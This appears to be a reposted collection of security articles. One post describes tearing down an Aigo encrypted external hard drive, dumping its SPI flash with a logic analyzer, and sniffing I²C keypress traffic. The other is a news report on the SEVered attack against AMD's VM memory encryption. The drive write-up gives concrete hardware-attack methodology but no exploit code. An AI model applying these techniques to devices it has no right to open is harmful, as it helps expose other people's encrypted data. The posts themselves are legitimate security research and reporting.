Overall, I spent 2 week-ends and a few evenings, so probably around 40 hours from the very beginning (opening the drive) to the end (dumping the PIN), including writing those 2 blog posts. A very fun and interesting journey 😉

Опубликовано

Aigo Chinese encrypted HDD − Part 1: taking it apart

Original post by Raphaël Rigo on syscall.eu ( under CC-BY-SA 4.0 )

Introduction

Analyzing and breaking external encrypted HDD has been a “hobby” of mine for quite some time. With my colleagues Joffrey Czarny and Julien Lenoir we looked at several models in the past:

  • Zalman VE-400
  • Zalman ZM-SHE500
  • Zalman ZM-VE500

Here I am going to detail how I had fun with one drive a colleague gave me: the Chinese Aigo “Patriot” SK8671, which follows the classical design for external encrypted HDDs: a LCD for information diplay and a keyboard to enter the PIN.

DISCLAIMER: This research was done on my personal time and is not related to my employer.

Patriot HDD front view with keyboard Patriot HDD package
Enclosure
Packaging

The user must input a password to access data, which is supposedly encrypted.

Note that the options are very limited:

  • the PIN can be changed by pressing F1 before unlocking
  • the PIN must be between 6 and 9 digits
  • there is a wrong PIN counter, which (I think) destroys data when it reaches 15 tries.

In practice, F2, F3 and F4 are useless.

Hardware design

Of course one of the first things we do is tear down everything to identify the various components.

Removing the case is actually boring, with lots of very small screws and plastic to break.

In the end, we get this (note that I soldered the 5 pins header):

disk

Main PCB

The main PCB is pretty simple:

main PCB

Important parts, from top to bottom:

  • connector to the LCD PCB (CN1)
  • beeper (SP1)
  • Pm25LD010 (datasheet) SPI flash (U2)
  • Jmicron JMS539 (datasheet) USB-SATA controller (U1)
  • USB 3 connector (J1)

The SPI flash stores the JMS539 firmware and some settings.

LCD PCB

The LCD PCB is not really interesting:

LCD view

LCD PCB

It has:

  • an unknown LCD character display (with Chinese fonts probably), with serial control
  • a ribbon connector to the keyboard PCB

Keyboard PCB

Things get more interesting when we start to look at the keyboard PCB:

Keyboard PCB, back

Here, on the back we can see the ribbon connector and a Cypress CY8C21434 PSoC 1 microcontroller (I’ll mostly refer to it as “µC” or “PSoC”):CY8C21434

The CY8C21434 is using the M8C instruction set, which is documented in the Assembly Language User Guide.

The product page states it supports CapSense, Cypress’ technology for capacitive keyboards, the technology in use here.

You can see the header I soldered, which is the standard ISSP programming header.

Following wires

It is always useful to get an idea of what’s connected to what. Here the PCB has rather big connectors and using a multimeter in continuity testing mode is enough to identify the connections:

hand drawn schematic

Some help to read this poorly drawn figure:

  • the PSoC is represented as in the datasheet
  • the next connector on the right is the ISSP header, which thankfully matches what we can find online
  • the right most connector is the clip for the ribbon, still on the keyboard PCB
  • the black square contains a drawing of the CN1 connector from the main PCB, where the cable goes to the LCD PCB. P11, P13 and P4 are linked to the PSoC pins 11, 13 and 4 through the LCD PCB.

Attack steps

Now that we know what are the different parts, the basic steps would be the same as for the drives analyzed in previous research :

  • make sure basic encryption functionnality is there
  • find how the encryption keys are generated / stored
  • find out where the PIN is verified

However, in practice I was not really focused on breaking the security but more on having fun. So, I did the following steps instead:

  • dump the SPI flash content
  • try to dump PSoC flash memory (see part 2)
  • start writing the blog post
  • realize that the communications between the Cypress PSoC and the JMS539 actually contains keyboard presses
  • verify that nothing is stored in the SPI when the password is changed
  • be too lazy to reverse the 8051 firmware of the JMS539
  • TBD: finish analyzing the overall security of the drive (in part 3 ?)

Dumping the SPI flash

Dumping the flash is rather easy:

  • connect probes to the CLK, MOSI, MISO and (optionally) EN pins of the flash
  • sniff the communications using a logic analyzer (I used a Saleae Logic Pro 16)
  • decode the SPI protocol and export the results in CSV
  • use decode_spi.rb to parse the results and get a dump

Note that this works very well with the JMS539 as it loads its whole firmware from flash at boot time.

$ decode_spi.rb boot_spi1.csv dump
0.039776 : WRITE DISABLE
0.039777 : JEDEC READ ID
0.039784 : ID 0x7f 0x9d 0x21
---------------------
0.039788 : READ @ 0x0
0x12,0x42,0x00,0xd3,0x22,0x00,
[...]
$ ls --size --block-size=1 dump
49152 dump
$ sha1sum dump
3d9db0dde7b4aadd2b7705a46b5d04e1a1f3b125  dump

Unfortunately it does not seem obviously useful as:

  • the content did not change after changing the PIN
  • the flash is actually never accessed after boot

So it probably only holds the firmware for the JMicron controller, which embeds a 8051 microcontroller.

Sniffing communications

One way to find which chip is responsible for what is to check communications for interesting timing/content.

As we know, the USB-SATA controller is connected to the screen and the Cypress µC through the CN1 connector and the two ribbons. So, we hook probes to the 3 relevant pins:

  • P4, generic I/O in the datasheet
  • P11, I²C SCL in the datasheet
  • P13, I²C SDA in the datasheet

probes

We then launch Saleae logic analyzer, set the trigger and enter “123456✓” on the keyboard. Which gives us the following view:

Saleae logic analyzer screenshot

You can see 3 differents types of communications:

  • on the P4 channel, some short bursts
  • on P11 and P13, almost continuous exchanges

Zooming on the first P4 burst (blue rectangle in previous picture), we get this :

P4 zoom

You can see here that P4 is almost 70ms of pure regular signal, which could be a clock. However, after spending some time making sense of this, I realized that it was actually a signal for the “beep” that goes off every time a key is touched… So it is not very useful in itself, however, it is a good marker to know when a keypress was registered by the PSoC.

However, we have on extra “beep” in the first picture, which is slightly different: the sound for “wrong pin” !

Going back to our keypresses, when zooming at the end of the beep (see the blue rectangle again), we get:end of beep zoom

Where we have a regular pattern, with a (probable) clock on P11 and data on P13. Note how the pattern changes after the end of the beep. It could be interesting to see what’s going on here.

2-wires protocols are usually SPI or I²C, and the Cypress datasheet says the pins correspond to I²C, which is apparently the case:i2c decoding of '1' keypress

The USB-SATA chipset constantly polls the PSoC to read the key state, which is ‘0’ by default. It then changes to ‘1’ when key ‘1’ was pressed.

The final communication, right after pressing “✓”, is different if a valid PIN is entered. However, for now I have not checked what the actual transmission is and it does not seem that an encryption key is transmitted.

Anyway, see part 2 to read how I did dump the PSoC internal flash.

Опубликовано

Researchers Defeat AMD’s SEV Virtual Machine Encryption

Researchers defeat AMD’s Secure Encrypted Virtualization (SEV), demonstrating #SEVered attack that could allow malicious hypervisor to steal plain-text data from an encrypted virtual machine.

German security researchers claim to have found a new practical attack against virtual machines (VMs) protected using AMD’s Secure Encrypted Virtualization (SEV) technology that could allow attackers to recover plaintext memory data from guest VMs.

AMD’s Secure Encrypted Virtualization (SEV) technology, which comes with EPYC line of processors, is a hardware feature that encrypts the memory of each VM in a way that only the guest itself can access the data, protecting it from other VMs/containers and even from an untrusted hypervisor.

Discovered by researchers from the Fraunhofer Institute for Applied and Integrated Security in Munich, the page-fault side channel attack, dubbed SEVered, takes advantage of lack in the integrity protection of the page-wise encryption of the main memory, allowing a malicious hypervisor to extract the full content of the main memory in plaintext from SEV-encrypted VMs.

Here’s the outline of the SEVered attack, as briefed in the paper: SEVered: Subverting AMD’s Virtual Machine Encryption

«While the VM’s Guest Virtual Address (GVA) to Guest Physical Address (GPA) translation is controlled by the VM itself and opaque to the HV, the HV remains responsible for the Second Level Address Translation (SLAT), meaning that it maintains the VM’s GPA to Host Physical Address (HPA) mapping in main memory.

«This enables us to change the memory layout of the VM in the HV. We use this capability to trick a service in the VM, such as a web server, into returning arbitrary pages of the VM in plaintext upon the request of a resource from outside.»

«We first identify the encrypted pages in memory corresponding to the resource, which the service returns as a response to a specific request. By repeatedly sending requests for the same resource to the service while re-mapping the identified memory pages, we extract all the VM’s memory in plaintext.»

During their tests, the team was able to extract a test server’s entire 2GB memory data, which also included data from another guest VM.

In their experimental setup, the researchers used a with the Linux-based system powered by an AMD Epyc 7251 processor with SEV enabled, running web services—the Apache and Nginx web servers—as well as an SSH server, OpenSSH web server in separate VMs.